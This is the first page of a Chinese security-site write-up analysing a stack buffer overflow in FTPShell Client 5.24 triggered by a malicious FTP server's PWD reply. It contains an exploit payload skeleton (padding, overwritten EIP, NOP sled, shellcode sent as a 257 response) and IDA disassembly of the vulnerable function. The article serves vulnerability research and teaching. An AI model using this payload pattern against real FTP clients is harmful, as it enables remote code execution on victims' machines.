欢迎来到 无奈人生 安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

一次与缓冲区溢出的亲密接触

来源: 作者: 时间:2019-02-24 19:29 点击: 我要投稿

起因
这是一个简单的缓冲区溢出的漏洞,今天没事,来分析一下看看他溢出的原因,最后通过平衡堆栈的方式,让目标程序执行shellcode使程序不crash。只是用来研究和学习。
测试软件名称及版本
FTPShell Client 5.24
下载地址:https://pan.baidu.com/s/1IHOfx0IQQOpuTs55f-T-aQ
密码:qvo4
用到的工具
- IDA 6.8
- winxp sp3 32位虚拟机
测试漏洞
1、起一个ftp服务器,打开21端口。
2、等待客户端连接后,向客户方发送PWD的数据
3、ftp客户端收到服务器发送的PWD数据后,会crash
服务器给客户端发送的数据:
buffer = "A" * 400 + target_eip + "\x90" * 40 + shellcode
sks.send('257 "' + buffer + '" is current directory\r\n')
远程注入代码前后的流程图对比:

分析漏洞的位置:
这个call的主要功能键就是读取服务器发送来的数据到buffer
.text:0044D010 8D 95 6C FE FF FF                       lea     edx, [ebp+var_194]
.text:0044D016 52                                      push    edx
.text:0044D017 56                                      push    esi
.text:0044D018 53                                      push    ebx
.text:0044D019 E8 E6 12 00 00                          call    read_server_string_to_buffer ;读取服务器发来的buffer
.text:0044D019                                                                 ; success    = 0 ;
.text:0044D019                                                                 ; fail    = 1; no_server_data
.text:0044D01E 83 C4 0C                                add     esp, 0Ch
.text:0044D021 85 C0                                   test    eax, eax
.text:0044D023 75 34                                   jnz     short loc_44D059
程序分配栈的大小
进入read_server_string_to_buffer这个call,我们看看分配栈的大小为0×408
.text:0044E304 55                                      push    ebp
.text:0044E305 8B EC                                   mov     ebp, esp
.text:0044E307 81 C4 F8 FB FF FF                       add     esp, -408h      ; 分配local栈的大小
.text:0044E30D 53                                      push    ebx

[1] [2] [3] [4] [5] [6] [7]  下一页

(责任编辑:admin)
【声明】:无奈人生安全网(http://www.wnhack.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱472701013@qq.com,我们会在最短的时间内进行处理。